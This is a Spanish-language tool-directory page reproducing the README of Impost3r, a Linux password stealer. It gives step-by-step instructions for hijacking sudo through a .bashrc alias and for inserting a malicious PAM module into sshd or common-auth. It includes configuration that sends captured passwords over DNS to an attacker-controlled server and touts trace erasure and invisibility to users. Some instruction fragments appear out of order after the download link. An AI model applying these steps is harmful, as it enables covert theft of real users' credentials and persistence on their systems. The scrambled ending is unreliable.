Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Impost3r — 👻Impost3r -- Un ladrón de contraseñas de Linux | Kitploit
Herramientas/GitHubGitHub/ph4ntonn/impost3r
Ataques de ContraseñasPost-ExplotaciónPruebas de PenetraciónRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Un ladrón de contraseñas de Linux

Ver Repositorio
6641222hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r es una herramienta escrita en C que se utiliza para robar diversas contraseñas (ssh, su, sudo) en Linux.

Los usuarios pueden usar este programa para crear un "watering hole" y robar las contraseñas de usuarios legítimos.

Esta herramienta está destinada únicamente a la investigación de seguridad y la enseñanza. El usuario asume toda la responsabilidad legal y derivada del uso de esta herramienta. El autor no asume ninguna responsabilidad legal o derivada.

Características

  • Borrado automático de huellas de la actividad
  • Transmisión de resultados mediante el protocolo DNS
  • Sin percepción por parte del usuario

Dependencias

  • gcc

Modo de uso

Impost3r se puede utilizar para robar contraseñas de servicios como sudo, su y ssh. Estos tres servicios se pueden dividir aproximadamente en dos categorías: sudo y ssh/su. A continuación se analizan los dos casos por separado.

Robar contraseña de sudo

Solo se requieren permisos de usuario normal, no es necesario ser root, pero solo se puede robar la contraseña del usuario correspondiente, no la de otros usuarios.

  • Primero, supongamos que el atacante ha tomado el control de un servidor con permisos de usuario normal.

  • Verifique si existe el archivo .bash_profile en el directorio raíz del usuario. Si .bash_profile existe: compruebe si el archivo .bash_profile carga activamente .bashrc. Si es así, omita este paso y los dos siguientes y continúe con las operaciones posteriores. Si no lo hace, omita los dos siguientes pasos y TODAS las operaciones posteriores con .bashrc se reemplazarán por operaciones con .bash_profile. Si .bash_profile no existe: pase al siguiente paso.

  • Verifique si existe el archivo .bash_login en el directorio raíz del usuario. Si .bash_login existe: compruebe si el archivo .bash_login carga activamente .bashrc. Si es así, omita este paso y el siguiente y continúe con las operaciones posteriores. Si no lo hace, omita el siguiente paso y . Si no existe: pase al siguiente paso.

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Copie el .bashrc del usuario: cp ~/.bashrc /tmp/, y coloque esta copia en una ruta personalizada por el atacante (en este ejemplo se coloca en /tmp/, el atacante puede modificarlo).

  • Modifique el .bashrc en el directorio raíz del usuario (~/.bashrc) y añada la siguiente línea al final (donde /tmp/.impost3r debe coincidir con el FILENAME de abajo):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Después de añadirlo, guarde el archivo y ejecute source ~/.bashrc.

  • A continuación, el atacante debe modificar el código fuente de Impost3r /sudo/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Establece la ubicación de Impost3r en el servidor de destino
# define BACKUP_ORI_FILENAME ".bashrc" \\Indica si el archivo de configuración de usuario original respaldado por el atacante es .bashrc, .bash_profile, .profile o .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Indica la ubicación en el servidor de destino del archivo de configuración de usuario original respaldado por el atacante
# define SAVE_OR_SEND 0 \\Establece si, después de un robo exitoso, el resultado se guarda en la máquina de destino o se envía a la máquina controlada por el atacante (enviar = 0, guardar = 1, por defecto enviar)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\Tenga en cuenta: si no desea comprar un dominio para recibir los mensajes reenviados por Impost3r y el servidor de destino con Impost3r implantado no prohíbe las conexiones UDP directas al puerto 53 de su servidor DNS controlado, entonces use el valor predeterminado para el dominio aquí;
\\Pero si el servidor de destino con Impost3r implantado restringe estrictamente las solicitudes DNS salientes, cambie el valor de YOUR_DOMAIN al dominio que compró, por ejemplo “.example.com”, configure el registro NS de este dominio para que apunte a la dirección de su servidor DNS controlado, ejecute Fdns en este servidor DNS, y cambie el valor de REMOTE_ADDRESS a la dirección DNS predeterminada del servidor de destino con Impost3r implantado, y REMOTE_PORT al puerto del servicio DNS que escucha esa dirección DNS predeterminada (en la gran mayoría de los casos es el puerto 53)
# define MAX_RESEND 30 \\Establece el número máximo de reintentos de envío de la contraseña del usuario por parte de Impost3r al servidor del atacante después de obtenerla
# define RESEND_INTERVAL 5 \\Establece el intervalo entre cada envío de contraseña
# define REMOTE_ADDRESS "192.168.0.12" \\Establece la dirección remota para el envío de la contraseña
# define REMOTE_PORT 53 \\Establece el puerto remoto para el envío de la contraseña

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Establece la ubicación del archivo de resultados cuando SAVE_OR_SEND está establecido en 1
  • Después de modificar, guarde y ejecute make en el directorio actual.

  • Obtendrá el archivo compilado .impost3r en el directorio actual.

  • Suba el archivo .impost3r a la carpeta /tmp/ del servidor de destino (solo como ejemplo; puede modificarlo según sea necesario, siempre que coincida con la definición en el código fuente).

  • El atacante inicia el programa servidor DNS en su propio servidor y espera a que un usuario legítimo ejecute sudo para obtener la contraseña.

Efecto del robo

Consejos

  • En el caso de robar la contraseña de sudo, Impost3r borrará automáticamente las huellas después del éxito, por lo que el atacante no necesita limpiar manualmente.

  • Impost3r determina automáticamente si la contraseña ingresada por el usuario es correcta; solo después de que el usuario ingrese la contraseña correcta finalizará el proceso y borrará las huellas.

  • Antes de usar Impost3r, verifique con sudo -v si el usuario actual está en el grupo sudoer. Si no lo está, no use Impost3r.

Robar contraseña de ssh/su

El método para robar contraseñas de ssh/su es diferente al de sudo. Requiere permisos de root y puede robar la contraseña de cualquier usuario.

A continuación se toma Ubuntu como ejemplo; CentOS es similar, aunque los archivos usados y el método de modificación pueden diferir.

  • Primero, supongamos que el atacante ha tomado el control de un servidor.

  • Obtuvo privilegios de root mediante una escalada de privilegios (o el amable administrador inició el servicio con permisos de root).

  • Primero, edite el archivo de código fuente /ssh_su/main.h de Impost3r.

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\Establece el modo de robo: 0 solo ssh, 1 ssh y su, por defecto 0 (más adelante se explican las diferencias)
# define SAVE_OR_SEND 0 \\Establece si, después de un robo exitoso, el resultado se guarda en la máquina de destino o se envía a la máquina controlada por el atacante (enviar = 0, guardar = 1, por defecto enviar)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\(misma nota que en sudo)
# define MAX_RESEND 30 \\Establece el número máximo de reintentos de envío de la contraseña (solo válido cuando SSH_OR_BOTH es 0)
# define RESEND_INTERVAL 5 \\Establece el intervalo entre cada envío (solo válido cuando SSH_OR_BOTH es 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Establece la dirección remota para el envío de la contraseña
# define REMOTE_PORT 53 \\Establece el puerto remoto para el envío de la contraseña

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Establece la ubicación del archivo de resultados cuando SAVE_OR_SEND está establecido en 1
  • Después de modificar, guarde y ejecute make en el directorio actual.

  • Obtendrá el archivo compilado impost3r.so.

  • Suba el archivo compilado impost3r.so a la carpeta /lib/x86_64-linux-gnu/security de la máquina de destino (el nombre de la carpeta puede variar según la máquina; colóquelo según corresponda).

  • Vaya a /etc/pam.d. Aquí hay dos casos: si ha seleccionado el modo de robar solo la contraseña de ssh, ejecute vi sshd y añada las siguientes líneas al final del archivo (tenga en cuenta que, excepto en Ubuntu, otros sistemas basados en Linux pueden tener diferencias significativas en este archivo; se recomienda entender las reglas antes de añadirlas en la posición adecuada).

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • Guarde y salga, reinicie el servicio sshd con service sshd restart.

  • Si ha seleccionado robar tanto la contraseña de ssh como la de su, ejecute vi common-auth, añada las mismas líneas, guarde y salga, y luego reinicie el servicio sshd.

  • El atacante inicia el programa servidor DNS en su propio servidor y espera a que un usuario legítimo use ssh para iniciar sesión en la máquina de destino o use su para cambiar de usuario y así obtener la contraseña.

Efecto del robo

Consejos

  • En el caso de robar la contraseña de ssh/su, debido a permisos, Impost3r no puede borrar las huellas; el atacante debe hacerlo manualmente.

  • Tenga en cuenta que si se configura solo el robo de la contraseña de ssh, se garantiza que el atacante recibirá el resultado en un 100% de los casos. Si se configuran ambos, no se garantiza que el atacante reciba el resultado en un 100% (solo cuando se envía por DNS; si se guarda localmente no hay problema).

  • No se recomienda robar la contraseña de su. Dado que la contraseña de ssh del usuario es la misma que la de su, si no es necesario, no robe la de su; la de ssh es suficiente.

  • Por defecto no se roban contraseñas vacías. Verifique usted mismo si el usuario tiene una contraseña vacía (compruebe si en el archivo de configuración de sshd aparece PermitEmptyPasswords yes; si está vacía, ¿para qué robar?).

Notas

  • El programa servidor DNS que utilizo es Fdns, con algunos parámetros modificados. El código fuente modificado se encuentra en la carpeta Fdns. Compílelo con el comando gcc -o dns main.c util.c (recuerde modificar primero el puerto de escucha en main.c).
  • Antes de compilar Fdns, verifique el valor de YOUR_DOMAIN en util.h. Asegúrese de que coincida con el valor YOUR_DOMAIN usado al compilar Impost3r en el servidor donde está implantado; de lo contrario, el robo podría fallar.
  • Este programa fue desarrollado por hobby en mi tiempo libre; puede tener errores funcionales. Agradezco su comprensión y también los informes de problemas.

Agradecimientos

  • Fdns
  • libbaseencode
Descargar herramienta
TODAS las operaciones posteriores con .bashrc se reemplazarán por operaciones con .bash_login
.bash_login
  • Verifique si existe el archivo .profile en el directorio raíz del usuario. Si existe: compruebe si el archivo .profile carga activamente .bashrc (por defecto lo hace). Si es así, omita este paso y continúe con las operaciones posteriores. Si no lo hace, TODAS las operaciones posteriores con .bashrc se reemplazarán por operaciones con .profile. Si tampoco existe .profile, en principio Impost3r no se podrá usar. También puede decidir usted mismo si genera un archivo .bash_profile o .profile y escribe en él un código de carga similar al siguiente para cargar .bashrc: